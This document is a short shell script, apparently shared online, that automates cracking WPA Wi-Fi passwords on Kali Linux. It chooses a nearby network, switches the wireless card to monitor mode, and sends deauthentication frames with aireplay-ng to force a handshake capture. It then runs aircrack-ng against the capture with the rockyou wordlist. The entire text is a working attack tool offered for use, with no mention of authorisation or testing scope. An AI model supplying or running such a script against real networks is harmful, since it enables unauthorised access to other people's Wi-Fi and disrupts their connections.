Custom script wo automate wifi cracking in kali linux

wifi-crack.sh

#!/bin/sh
# Script to automate wifi cracking

# requires kali linux or airmon-ng tools
# written to run with dmenu. (apt install dmenu)

echo "Scanning and identifying available wifi networks. Choose from dmenu prompt"
availableWifiSsids=$(nmcli -t -f ssid d wifi)
ssid=$(echo "$availableWifiSsids" | dmenu -p "Choose an SSID:")
if [ -z "$ssid" ]; then
    exit 0
fi

# Get the BSSID and CHAN properties for the chosen SSID
bssid=$(nmcli d wifi | grep "$ssid" | awk  '{print ($1 == "*") ? $2 : $1}')
chann=$(nmcli -t -f chan,ssid d wifi | grep "$ssid" | awk -F : '{print $1}')

# Print the BSSID and CHAN variables
echo "SSID: $ssid"
echo "CHAN: $chann"
echo "BSSID: $bssid"

sudo ifconfig wlan0 down 
sudo airmon-ng check kill 
sudo iwconfig wlan0 mode monitor
sudo iwconfig wlan0
sudo ifconfig wlan0 up


# listen to check if wpa handshake has been made
echo "Run the following in a new terminal and stop when the WPA handshake has been made\n" 
echo "sudo airodump-ng -c $chann --bssid '$bssid' -w '/var/tmp/$ssid' wlan0" 

echo "\nPress any key to continue"
read y

# send deauth code
sudo aireplay-ng -0 50 -a $bssid wlan0 

echo "\nClose the other terminal once wpa handhake has been made. Press any key to continue"
read y

capFile=$(ls "/var/tmp/$ssid"*.cap |  dmenu -p "Choose cap file to crack: ")

sudo ifconfig wlan0 down
echo "Putting wlan0 to managed mode"
sudo iwconfig wlan0 mode managed
sudo iwconfig wlan0
sudo ifconfig wlan0 up

sudo systemctl start NetworkManager && echo "Network manager started"


# cracking
sudo aircrack-ng -a2 -b $bssid -w /usr/share/wordlists/rockyou.txt "$capFile"